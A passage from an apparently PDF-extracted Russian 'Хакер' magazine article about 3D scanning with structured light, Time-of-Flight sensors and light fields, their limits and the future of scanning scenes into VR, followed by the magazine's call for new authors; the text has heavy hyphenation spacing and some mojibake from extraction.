 поз воля ет без компь юте ра получить пол ностью авто ном‐ 
ный ска нер на базе iPad.

Structure Sensor

Так же  ска ниро вание  дос тупно  на  iPhone  и  iPad  с  сен сором  TrueDepth,  если
уста новить   или  .Scandy Bellus3D

Ограничения систем структурированного света
У сис тем струк туриро ван ного све та нес коль ко огра ниче ний.
1. Не воз можно реконс тру иро вать объ екты с отра жающи ми или проз рачны ми
повер хнос тями.

2. Ре конс тру ируемый объ ект не дол жен дви гать ся и менять фор му.
3. До пол нитель ные  источни ки  све та.  Они  зат рудня ют  счи тыва ние  про еци‐ 
руемых пат тернов.

4. Раз мер  объ ектов  не  дол жен  пре вышать  нес коль ко  мет ров.  Невоз можно
ска ниро вать зда ния и памят ники.

5. Та кие  сис темы  боль ше  под ходят  для  исполь зования  внут ри  помеще ний,
так как на ули це воз ника ет кон фликт с пря мым сол нечным све том.

Преимущества структурированного света
1. Ска ниро вание одно тон ных повер хнос тей (в отли чие от фотог раммет рии).
2. Хо роший резуль тат при реконс тру иро вании людей.
3. Ска ниро вание  прос той  модели  за  нес коль ко  минут  (быс трее,  чем
при фотог раммет рии).

4. Не нуж но мощ ное железо.

КАМЕРЫ TIME-OF-FLIGHT
Тре тий  вид  ска ниро вания  —  сис темы  Time‐of‐Flight  (ToF).  Они  сос тоят
из камеры, источни ка излу чения (лазера или диода), мат рицы для счи тыва ния
отра жен ного излу чения и ПО для реконс тру иро вания.

Су щес тву ют  дорогие  устрой ства  с  под вижным  лазером  вро де 
и устрой ства, которые встро ены в смар тфо ны и план шеты.

Artec  Ray

Как это работает?
Тех ничес ки  реконс тру иро вание  объ екта  с  исполь зовани ем  ToF  отли чает ся
от  ска ниро вания  с  исполь зовани ем  струк туриро ван ного  све та  лишь  тем,
как получа ется кар та глу бины с информа цией о рас сто янии до каж дого пик‐ 
селя. Все осталь ные шаги иден тичны.

В  сис темах  ToF  источник  све та  интенсив но  пуль сиру ет  с  опре делен ным
интерва лом. Мат рица счи тыва ет отра жен ный свет, а кар та глу бины стро ится
с рас сто янием до каж дого пик селя.

В  зависи мос ти  от  архи тек туры  в  сис темах  ToF  при меня ется  рас сеян ный
свет или под вижный лазер, рас кру чива емый в двух плос костях. В ком пак тные
руч ные устрой ства под вижные лазеры не уста нав лива ются.

Мо дель пос ле ска ниро вания ToF име ет огромное чис ло полиго нов и тре‐ 
бует руч ной доработ ки.

Какое оборудование нам понадобится?
Про фес сиональ ные сис темы ToF вклю чают обо рудо вание и ПО. С помощью
прог рам мно го обес печения мож но сра зу получить трех мерное обла ко точек.
Это го дос таточ но для реконс тру иро вания объ екта в таких пакетах, как 

.
Mesh‐

Lab
Не боль шие раз меры и низ кое энер гопот ребле ние поз волили встро ить ToF

в  некото рые  смар тфо ны  и  план шеты.  ToF  исполь зует ся  для  допол ненной
реаль нос ти, филь тров вычис литель ной фотог рафии и для ска ниро вания пря‐ 
мо  на  телефо не.  Сис темы  Time‐of‐Flight  встро ены  в  .
Для реконс тру иро вания мож но ска чать при ложе ние  .

смар тфо ны  Samsung
3D Scanner

Так же ToF ты можешь най ти в LG G8 ThinQ, Honor View 20, Huawei P30 Pro,
Mate 30 Pro и 40 Pro, Sony Xperia XZ4, Google Pixel 4. Для некото рых из этих
устрой ств на Android есть экспе римен таль ное при ложе ние 

.
3D Scanner for AR‐

Core Pro
На пос леднем iPad появил ся LIDAR. Из‐за низ кого раз решения он не под‐ 

ходит для реконс тру иро вания неболь ших пред метов. Отска ниро вать круп ные
объ екты мож но с помощью при ложе ния  .LiDAR Scanner 3D

Ограничения систем ToF
Сис темы  ToF,  как  и  фотог раммет рия  и  сис темы  струк туриро ван ного  све та,
име ют сле дующие огра ниче ния:

не воз можно  ска ниро вать  объ екты  с  отра жающи ми,  проз рачны ми
или слиш ком тем ными повер хнос тями;

•

ре конс тру ируемый объ ект не дол жен дви гать ся и менять фор му.•

Отличия ToF от систем структурированного света
Сис темы Time‐of‐Flight реконс тру ируют объ екты на боль шом рас сто янии. Они
луч ше работа ют на ули це при сол нечном све те и не тре буют мощ ного железа.
Все вычис ления выпол няют ся на самом сен соре. Это поз воля ет  встра ивать
ToF с понижен ной мощ ностью излу чате ля в сотовые телефо ны и план шеты.

ToF‐сис темы, которые встро ены в план шеты и смар тфо ны, фун кци они руют
на мень шем рас сто янии — от двад цати сан тимет ров до нес коль ких мет ров.

СВЕТОВОЕ ПОЛЕ
Рас смот рим чет вертый вид ска ниро вания — све товое поле. Это экспе римен‐ 
таль ный метод ска ниро вания реаль нос ти. Пока он не получил широко го рас‐ 
простра нения в индус трии.

Как это работает?
Све товое поле — это све товой поток, который запол няет трех мерное прос‐ 
транс тво во всех нап равле ниях за опре делен ный отре зок вре мени.

С прак тичес кой  точ ки  зре ния  све товое поле — это метод  ска ниро вания,
где  исполь зует ся  груп па  фик сирован ных  камер  или  спе циаль ные  камеры
со мно жес твом линз, которые фокуси руют свет на общую мат рицу. Опти чес‐ 
кие парамет ры каж дой лин зы и их фик сирован ное физичес кое рас положе ние
поз воля ют добывать мас сив дан ных о глу бине пик селей в каж дом кад ре.

Ро лик  ниже  хорошо  объ ясня ет  метод  све тово го  поля  на  при мере
самопис ного экспе римен таль ного рен дера.

Сов ремен ные    не  тре буют  жес ткой  фик сации
камер,  допус кают ся  нез начитель ные  поворо ты  и  сме щения.  Объ ект  мож но
запечат леть на смар тфон, но съем ка занима ет мно го вре мени: нуж но дол го
ходить  вок руг  пред мета,  сле довать  пла ну,  который  пред лага ет  при ложе ние.
У поль зовате лей он вряд ли будет популя рен. На видео ниже хорошо показан
прин цип работы это го метода.

эк спе римен таль ные  методы

На ибо лее  яркий  при мер  при мене ния  све тово го  поля  в  VR  — 
.  Он  пог ружа ет  в  фоторе алис тичную  атмосфе ру,  которая    кас‐ 

томным ригом све тово го поля. Одна ко поль зователь не может переме щать ся
по все му прос транс тву.

эк спе римент
Google сня та

Какое оборудование нам понадобится?
Се год ня наибо лее извес тные устрой ства со све товым полем —   и  .
Пока  нет  ни  одно го  смар тфо на,  который  исполь зует  метод  све тово го  поля,
хотя LG запатен товала телефон с камера ми 4 на 4. Нес коль ко лет назад Peli‐
can  Imaging  выпус кала  модули  таких  камер  для  смар тфо нов,  но  ком панию
выкупи ли  вмес те  со  все ми  патен тами.  С  тех  пор  сооб щения  о  новин ках
не пуб ликова ли.

Raytrix Lytro

Ограничения светового поля
Све товое поле пока толь ко экспе римен таль ный спо соб ска ниро вания реаль‐ 
нос ти.  Для  реконс тру иро вания  объ екта  с  помощью  све тово го  поля  необ‐ 
ходимо  обо рудо вание,  которое  в  дан ный момент  недос тупно,  и  вну шитель‐ 
ный ресурс, что бы хра нить боль шой мас сив фотог рафий.

Глав ное  отли чие  от  ToF  и  сис тем  струк туриро ван ного  све та  в  том,  что
методы  све тово го  поля  дают  более  высокое  раз решение.  Они  реконс тру‐ 
ируют  объ екты  любого  раз мера  и  на  любом  рас сто янии  в  зависи мос ти
от опти ки. Све товое поле, в отли чие от фотог раммет рии, поз воля ет реконс‐ 
тру иро вать  объ екты  с  проз рачны ми,  отра жающи ми  и  одно тон ными  повер‐ 
хнос тями. Одна ко качес тво все еще зависит от осве щения объ екта съем ки.

Обработка реконструированных моделей после сканирования
Все  четыре  метода  ска ниро вания  нуж дают ся  в  руч ной  доработ ке  моделей.
Они  порож дают  высоко поли гональ ный  меш  и  детали зиро ван ную  диф фузи‐ 
онную  кар ту  с  бес полез ной  раз вер ткой  UV.  У  моделей  огромное  чис ло
полиго нов  и  арте фак тов  из‐за  неидеаль ных  усло вий  ска ниро вания
и физичес ких огра ниче ний сен соров.

Не пос редс твен но  исполь зовать  резуль тат  3D‐реконс тру иро вания  сра зу
же  для  соз дания  3D‐кон тента,  в  том  чис ле  для  VR,  нель зя.  Тем  более  эти
методы  невоз можно  при менить  для  таких  устрой ств,  как  Oculus  Quest,
для  которых  вер хний  пре дел  —  100  тысяч  полиго нов  на  кадр.  Тре бует ся
допол нитель ная обра бот ка.

ГОТОВЫЕ 3D-СЦЕНЫ, ИЛИ «СКАНИРУЮЩАЯ МЕЧТА»
А  теперь  давай  пофан тазиру ем,  мож но  ли  прев ратить  реаль ность
в готовые 3D‐сце ны, ска ниро вать объ екты в дви жении или помес тить реконс‐ 
тру иро ван ную сце ну в игро вой дви жок без руч ной обра бот ки.

Об рису ем  ска ниро вание  сце ны  на  при мере  VR‐квес та.  Пред ставь,  что
гуля ешь в атмосфер ном мес те. Пос реди леса ты видишь ста рый заб рошен‐ 
ный дом и реша ешь сде лать VR‐квест.

Ты дос таешь камеру и сни маешь локацию на видео. Дома откры ваешь Unity
или Unreal Engine и заг ружа ешь файл из обла ка. Через пару минут ты видишь
готовую 3D‐сце ну, которая запечат лела то самое мес то, где ты был, с фотог‐ 
рафичес кой точ ностью.

За тем  ты  редак тиру ешь  получив шуюся  сце ну.  Выделя ешь  став ни  окна
и  зак рыва ешь  их  —  для  про хож дения  квес та  в  доме  дол жно  быть  тем но.
Замеча ешь, как вода в реке под мыва ет берег, и перено сишь рус ло на более
близ кое рас сто яние. Тех нология запишет дви жение волн и вос про изве дет их
авто мати чес ки.  Затем  запус каешь  демо  на  мобиль ном  VR‐шле ме,  переме‐ 
щаешь ся по получен ной сце не и пла ниру ешь детали будуще го квес та.

Мо жем  ли  мы  так  обра ботать  реаль ный  дом  пря мо  сей час  и  помес тить
в VR? Нет, не можем. Давай обоз начим, что из нашего VR‐квес та воз можно
уже сегод ня, а что все еще фан тазии.

Что реально уже сегодня?
1. Для  некото рых  игро вых  сту дий  ска ниро вание  сце ны  —  это  обы ден ная
вещь.  Нап ример,  в  биб лиоте ке    пред став лены  реконс‐ 
тру иро ван ные фоторе алис тичные объ екты и тек сту ры.

Quixel Megascans

2. Уже  сегод ня  мы  можем  ска ниро вать  отдель ные  кад ры  из  качес твен ного
видео  4K  и  реконс тру иро вать  трех мерные  объ екты  с  помощью  фотог‐ 
раммет рии.

3. Google  Seurat  и  Umbra3D  поз воля ют  помес тить  высоко поли гональ ную
модель  пос ле  3D‐ска ниро вания  пря мо  в  игро вой  дви жок.  Unreal  Engine
5  тоже  выпущен  с  такой  фун кци ей,  но  офи циаль ный  релиз  пока  недос‐ 
тупен.

4. Google  Seurat,  Umbra3D  и  Unreal  Engine  помога ют  соз давать  кон тент
для Oculus Quest.  Scene  streaming  в  Umbra3D  и Unreal  Engine  адап тивно
под гру жает  объ екты  в  зависи мос ти  от  пот ребнос тей  и  воз можнос тей
устрой ства. С появ лени ем VR‐шле мов 5G scene streaming рас кро ет потен‐ 
циал в мобиль ном VR при одном усло вии: ско рость переда чи дол жна дос‐ 
тигать гигаби та.

Что пока еще фантазии?
1. Ска ниро вание  сце ны  на  смар тфон  из  одной  точ ки.  Пока  ска ниро вать
на смар тфон на боль шом рас сто янии из одной точ ки невоз можно, и при‐ 
ходит ся мно го ходить по сце не. Даже если съем ка ведет ся в помеще нии,
сис темы струк туриро ван ного све та работа ют на огра ничен ной дис танции.
ToF на смар тфо нах недос таточ но мощ ные и не сни мают объ екты на боль‐ 
ших  рас сто яниях.  Фотог раммет рия  тре бует  боль шой  мат рицы,  опти ки
и  фик сирован ного  фокуса.  Оста ется  ждать  появ ления  камер  све тово го
поля  на  смар тфо нах.  Они  смяг чат  огра ниче ния  при  ска ниро вании  проз‐ 
рачных, отра жающих и одно род ных повер хнос тей (нап ример, окон в доме
из нашего квес та).

2. Что бы дви гать объ екты на реконс тру иро ван ной сце не, нуж но вырезать их
из меша вруч ную, а мес то под ними латать зап латка ми. К сожале нию, трех‐ 
мерные модели пока не сег менти руют ся авто мати чес ки.

3. Ес ли в про цес се ска ниро вания ста тич ный объ ект хоть нем ного сдви нул ся,
реконс тру иро вать  его  невоз можно.  Сис темы  струк туриро ван ного  све та
и  сис темы  ToF  поз воля ют  ска ниро вать  дви жущи еся  объ екты,  но  для  3D‐
реконс тру иро вания это нере аль ная задача.

ЗАКЛЮЧЕНИЕ
Пол ностью оциф ровать реаль ный мир — пока неосу щес тви мая задача. Но в
будущем эту мис сию выпол нят   (Generative adversarial network) — генера‐ 
тив но‐сос тязатель ные сети. А пока мы можем экспе римен тировать с тем, что
есть, и меч тать о будущем тех нологий.

GAN



СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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